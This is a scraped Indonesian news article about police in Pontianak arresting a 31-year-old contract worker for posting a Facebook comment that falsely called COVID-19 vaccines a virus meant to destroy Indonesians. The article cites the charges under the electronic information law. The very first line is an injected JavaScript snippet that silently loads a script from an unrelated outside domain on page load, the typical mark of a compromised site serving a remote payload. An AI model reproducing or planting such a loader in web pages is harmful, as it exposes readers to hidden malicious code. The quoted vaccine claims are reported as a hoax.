(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Pontianak

Posting Vaksin Bisa Hancurkan Rakyat, Pegawai Honorer Diciduk


KANALKALIMANTAN.COM, PONTIANAK – AG, seorang pegawai honorer yang tinggal di Kota Baru, Pontianak Selatan, Kota Pontianak terpaksa berurusan dengan polisi.

Dia diamankan karena menyebarkan hoaks terkait pelaksanaan vaksinasi Covid-19. AG seorang pegawai honorer di Kalbar.

Kasubdit V Direktorat Reserse Kriminal Khusus Polda Kalbar, Kompol Dudung Setiawan menerangan, pengungkapan kasus ini bermula pada Senin, 25 Januari 2021 sekira pukul 09.00 Wib, Tim Patrol Siber Subdit 5 Ditreskrimsus sedang melakukan patroli siber di media sosial.

“Kemudian tim menemukan akun facebook AG menulis komentar yang mengandung berita bohong atau hoaks di grup facebook Pontianak Informasi (PI). Karena postingan tersebut mengandung muatan berita bohong tentang pemberian vaksin Covid-19, kemudian tim memburu pelaku,” jelas Dudung, Rabu (27/1/2021).

Akhirnya, pelaku dapat ditangkap di tempatnya bekerja pada 26 Januari 2021. Pria 31 tahun itu tak berkutik saat ditangkap di salah satu instansi di lingkungan Provinsi Kalbar, Jalan Adi Sucipto, Pontianak Tenggara.

Hasil pemeriksaan sementara, kata Dudung, pelaku menulis komentar di grup facebook Pontianak Informasi (PI) dengan menggunakan akun miliknya berinisial AG.

Pelaku mengakui melakukan perbuatan itu, pada Selasa 12 Januari 2021 sekira pukul 13.00 Wib di tempat kerjanya.
Inti dari komentar AG yang menyesatkan itu, bahwa vaksin Covid-19 adalah virus yang akan menghancurkan rakyat Indonesia. Karena virus yang disuntik itu akan bereaksi 4 hingga 6 bulan setelah warga Indonesia menerimanya.

Masih menurut AG dalam komentar itu, rakyat Indonesia diminta untuk berhati-hati jangan sampai tertipu. Ia berkomentar, orang yang sudah sehat tidak perlu disuntik dan jangan takut pada Covid-19.

Baginya, yang takut dan yakin pada virus corona ini adalah orang yang syirik menduakan Tuhan.
“Saat ini, pelaku dan sejumlah barang bukti masih diamankan dan diperiksa di Ditreskrimsus Polda Kalbar,” tutur Dudung.

Pelaku, kata Dudung, dipersangkakan Pasal 45A ayat (1) jo Pasal 28 ayat (1) Undang-undang Nomor 19 Tahun 2016 tentang Perubahan Atas Undang-undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik dan atau Pasal 14 ayat (2) Undang-Undang Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana.

“Kita masih melakukan pemeriksaan saksi ahli bahasa, ahli ITE dan ahli forensik. Secepatnya akam kita kirim ke Jaksa Penuntut Umum,” tutup Dudung. (suara.com)

Editor : Kk

 

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.